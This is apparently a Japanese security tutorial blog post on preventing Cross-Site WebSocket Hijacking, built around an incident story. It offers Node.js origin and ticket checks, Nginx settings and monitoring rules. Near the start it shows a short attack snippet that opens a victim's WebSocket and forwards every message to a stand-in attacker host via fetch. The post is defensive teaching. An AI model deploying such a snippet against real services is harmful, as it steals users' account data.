Cross-Site WebSocket Hijacking(CSWSH)を防ぐ:リアルタイム通信を保護する実践ガイド

Security tutorial - IT technology blog
Security tutorial - IT technology blog

背景と経緯:深夜2時のWebSocket侵害インシデント

先週火曜日の午前2時14分、弊社のPagerDutyはわずか2分足らずで47件のアラートを一斉に通知しました。取引執行ダッシュボードから、海外のオンラインカジノサイトに関連するIP帯域に向けて個人口座の元帳データが漏洩していたのです。データベースには何の異常もありませんでした。フロントエンドのバンドルに悪意あるスクリプトが混入された形跡はなく、APIゲートウェイのログは正常な200番台を返し、すべてのユーザーセッションも完全に正当なものでした。

私たちが直面していたのは、Cross-Site WebSocket Hijacking(CSWSH)でした。同一生成元ポリシー(Same-Origin Policy: SOP)などの標準的な保護機構は通常のfetchやXMLHttpRequestの通信を保護しますが、WebSocketのハンドシェイクには適用されません。ログイン状態のトレーダーが、別タブで悪意あるサイトを開いてしまったのです。そのページは、弊社のストリーミングエンドポイント(wss://api.example.com/stream)へのWebSocket接続を即座に開始しました。

ブラウザはクロスオリジンリクエストであってもセッションクッキーなどの認証情報を自動的に送信するため、バックエンドは呼び出し元を疑うことなくハンドシェイクを承認してしまいました。数秒のうちに攻撃者は全二重ソケットを乗っ取り、内部のPub/Subチャネルから機密性の高い板情報フィードを直接ストリーミング配信させていたのです。

CSWSHがブラウザの標準的な防御策をすり抜ける仕組み

一般的なWebアプリケーションにおけるCSRF対策は、カスタムHTTPヘッダーやPOSTボディに埋め込まれたトークンに依存しています。しかし、WebSocketの仕組みはそれらとは異なります。接続は通常のHTTP GETによるアップグレード要求から始まります。クッキー認証のみを使用している場合(特にSameSite=Noneやレガシーな緩いデフォルト設定の場合)、ブラウザはセッションクッキーを自動的に付加します。evil-tracker.exampleを運営する攻撃者は、わずか数行のJavaScriptを用意するだけで十分です。

// https://evil-tracker.example/ 上で実行されるスクリプト
const ws = new WebSocket('wss://api.yourdomain.com/v1/feed');
ws.onopen = () => {
  ws.send(JSON.stringify({ action: 'dump_account_snapshot' }));
};
ws.onmessage = (event) => {
  fetch('https://evil-tracker.example/collect', {
    method: 'POST',
    body: event.data
  });
};

ブラウザはユーザーの操作なしにセッションクッキーを送信します。サーバー側でOriginヘッダーのチェックを怠り、予測不可能な接続トークンを要求していない場合、攻撃者に被害者のアカウントへの直通パイプを明け渡してしまうことになります。

インストール:トークンベースのWebSocket保護のセットアップ

この脆弱性を塞ぐには、ハンドシェイク時の受動的なクッキー認証を廃止すること、そして厳格なオリジンチェックを適用することの2点が不可欠でした。私たちはNode.jsとRedisマイクロサービス全体に使い捨てチケットアーキテクチャを導入し、堅牢化したエッジプロキシで保護する構成をとりました。

まず、接続処理、暗号化ユーティリティ、キャッシュストレージに必要なコアパッケージを導入します。

# チケット生成とWebSocket処理用の依存関係をインストール
npm install ws ioredis crypto helmet

PythonやFastAPIスタックを利用している環境であれば、同等のライブラリをインストールします。

pip install websockets redis fastapi uvicorn

インシデント封じ込めの過程で、私たちは14の内部マイクロサービスにわたるすべてのセッション署名シークレット、データベース認証情報、サービストークンをローテーションしました。インシデント対応中にエントロピーの高い認証情報を生成する際、私はサーバーパスワードの作成にtoolcraft.app/ja/tools/security/password-generatorのパスワードジェネレーターを活用しています。

このツールはブラウザのクライアントサイドで完全に動作します。ネットワーク越しにキーやシードが送信されないため、プレッシャーのかかる本番環境の緊急パッチ適用作業中でも、プロキシログや監視パイプラインへの意図しない情報漏洩を防ぐことができます。

設定:厳格なOrigin検証と使い捨てチケットハンドシェイクの強制

CSWSHを防御するには、ハンドシェイク時のOriginヘッダー検証、1回限りのエフェメラルチケットの要求、そしてNginxによる信頼できないプロキシヘッダーの除去という3つの層が必要です。

ステップ1:厳格なOriginヘッダー検証

ブラウザはHTTP Upgradeフェーズにおいて、改ざん不可能なOriginヘッダーを付与します。curlのようなターミナルクライアントとは異なり、ブラウザ環境ではクライアントサイドJavaScriptがこのヘッダーを改ざんすることは一切許可されません。サーバーはOriginが存在しない場合や、ホワイトリストに含まれていないハンドシェイクを即座に破棄する必要があります。

以下は、wsライブラリとRedisを用いた本番環境向けのNode.jsハンドシェイクガードの実装です。

const http = require('http');
const WebSocket = require('ws');
const url = require('url');
const Redis = require('ioredis');

const redis = new Redis(process.env.REDIS_URL);
const server = http.createServer();
const wss = new WebSocket.Server({ noServer: true });

const ALLOWED_ORIGINS = new Set([
  'https://app.yourdomain.com',
  'https://admin.yourdomain.com'
]);

server.on('upgrade', async (request, socket, head) => {
  const origin = request.headers['origin'];

  // 1. 厳格なOriginチェック
  if (!origin || !ALLOWED_ORIGINS.has(origin.toLowerCase())) {
    socket.write('HTTP/1.1 403 Forbidden\r\n\r\n');
    socket.destroy();
    console.warn(`[ブロック] 許可されていないオリジンからのCSWSH試行: ${origin}`);
    return;
  }

  // 2. クエリパラメータから使い捨てチケットを抽出
  const { query } = url.parse(request.url, true);
  const ticket = query.ticket;

  if (!ticket || typeof ticket !== 'string' || ticket.length !== 64) {
    socket.write('HTTP/1.1 401 Unauthorized\r\n\r\n');
    socket.destroy();
    return;
  }

  // 3. チケットをアトミックに消費(Redis 6.2+ の GETDEL でレースコンディションを防止)
  const userId = await redis.getdel(`ws_ticket:${ticket}`);
  if (!userId) {
    socket.write('HTTP/1.1 401 Unauthorized\r\n\r\n');
    socket.destroy();
    return;
  }

  // WebSocketハンドシェイクを完了
  wss.handleUpgrade(request, socket, head, (ws) => {
    ws.userId = userId;
    wss.emit('connection', ws, request);
  });
});

wss.on('connection', (ws) => {
  ws.send(JSON.stringify({ status: 'connected', user: ws.userId }));
});

server.listen(8443, () => {
  console.log('セキュアなWebSocketデーモンがポート8443で待機中');
});

ステップ2:ワンタイムチケットの発行

WebSocketのURLに永続的なセッションクッキーやAPIトークンを含めてはいけません。クエリ文字列はブラウザの履歴、中継プロキシ、サーバーのアクセスログにプレーンテキストで記録されてしまいます。代わりに、認証済みクライアントからHTTPS経由でPOSTリクエストを送信させ、短寿命の使い捨てチケットを発行します。この初回呼び出しは標準的なCORSとCSRFトークンによって保護されます。

// 認証済みHTTP API内のExpressルート
const crypto = require('crypto');

app.post('/api/v1/ws-ticket', ensureAuthenticated, async (req, res) => {
  // 暗号論的に安全な256ビットトークンを生成
  const ticket = crypto.randomBytes(32).toString('hex');
  
  // 厳格な15秒のTTLでチケットを保存
  await redis.set(`ws_ticket:${ticket}`, req.user.id, 'EX', 15);

  return res.json({ ticket, expiresIn: 15 });
});

クライアントはソケット接続を確立する直前にこのチケットをリクエストします。

async function connectSecureWebSocket() {
  const res = await fetch('/api/v1/ws-ticket', {
    method: 'POST',
    credentials: 'same-origin'
  });
  if (!res.ok) throw new Error(`チケットの取得に失敗しました: ${res.status}`);
  
  const { ticket } = await res.json();
  const socket = new WebSocket(`wss://api.yourdomain.com/feed?ticket=${ticket}`);
  
  socket.onmessage = (event) => {
    console.log('ストリームイベントを受信:', event.data);
  };
}

ステップ3:Nginxリバースプロキシの堅牢化

リバースプロキシは、正規のクライアントOriginヘッダーをアプリケーションへ確実に転送しつつ、低レイテンシーを維持するためにバッファリングを無効化する必要があります。以下は、リアルタイム配信向けに検証されたNginxの設定ブロックです。

map $http_upgrade $connection_upgrade {
    default upgrade;
    ''      close;
}

server {
    listen 443 ssl http2;
    server_name api.yourdomain.com;

    ssl_certificate     /etc/ssl/certs/yourdomain.crt;
    ssl_certificate_key /etc/ssl/private/yourdomain.key;

    location /feed {
        proxy_pass http://127.0.0.1:8443;
        proxy_http_version 1.1;
        
        # 標準的なWebSocketアップグレードヘッダー
        proxy_set_header Upgrade $http_upgrade;
        proxy_set_header Connection $connection_upgrade;
        
        # クライアントのオリジンとネットワークコンテキストを保持
        proxy_set_header Host $host;
        proxy_set_header Origin $http_origin;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header X-Forwarded-Proto $scheme;
        
        # リアルタイム通信向けの最適化
        proxy_buffering off;
        proxy_read_timeout 60s;
        proxy_send_timeout 60s;
    }
}

検証とモニタリング:防御策のテストと不正なハンドシェイクの検知

セキュリティルールを適用する際は、ステージング環境で正常系と異常系の両方のテストケースを検証することが必須です。

PythonによるCSWSH攻撃のシミュレーション

外部ネットワークからこの診断スクリプトを実行し、不正なオリジンからソケットエンドポイントを狙う攻撃者の挙動をシミュレートします。

import asyncio
import websockets

async def simulate_attack():
    target_url = "wss://api.yourdomain.com/feed?ticket=invalid_or_expired_token"
    rogue_origin = "https://attacker-domain.com"
    
    print(f"[*] 不正なオリジンでハンドシェイクを開始: {rogue_origin}")
    try:
        # 信頼されていないOriginを追加ヘッダーとして渡す
        async with websockets.connect(
            target_url,
            additional_headers={"Origin": rogue_origin}
        ) as ws:
            print("[!] 致命的エラー: ハンドシェイクが成功しました。サーバーはCSWSHに対して脆弱です!")
            await ws.send("probe_payload")
    except websockets.exceptions.InvalidStatusCode as err:
        if err.status_code == 403:
            print("[+] 成功: 403 Forbidden で拒絶されました。Origin検証が正常に機能しています。")
        elif err.status_code == 401:
            print("[+] 成功: 401 Unauthorized で拒絶されました。チケット検証が機能しました。")
        else:
            print(f"[?] 受信したステータスコード: {err.status_code}")
    except Exception as e:
        print(f"[+] 期待通りハンドシェイクが切断されました: {e}")

asyncio.run(simulate_attack())

監査ログとPrometheusアラートルール

失敗したすべてのハンドシェイクを構造化JSONとして記録し、被害が生じる前に不審なアクセスを検知できるようにします。

{
  "timestamp": "2026-10-18T10:55:00Z",
  "event": "websocket_handshake_rejected",
  "reason": "invalid_origin",
  "origin": "https://malicious-site.example",
  "client_ip": "198.51.100.42",
  "user_agent": "Mozilla/5.0..."
}

Prometheusでクラスター全体の拒絶されたハンドシェイク数を追跡します。不正なオリジンからの接続試行が毎秒5件を超えて急増した場合は、即座にオンコールエンジニアへ通知します。

groups:
  - name: websocket_security_alerts
    rules:
      - alert: HighCrossSiteWebSocketRejections
        expr: sum(rate(websocket_handshake_rejected_total[2m])) > 5
        for: 1m
        labels:
          severity: critical
        annotations:
          summary: "CSWSHハンドシェイク拒絶の急増"
          description: "過去2分間で毎秒5件を超える無効なWebSocketハンドシェイクが発生しています。"

厳格なOriginヘッダー検証と15秒間有効な使い捨てチケットを組み合わせることで、CSWSHの攻撃経路を完全に遮断できます。これにより、リアルタイムソケットの高速性を維持したまま、安全な認証と機密性を確保できます。

Share: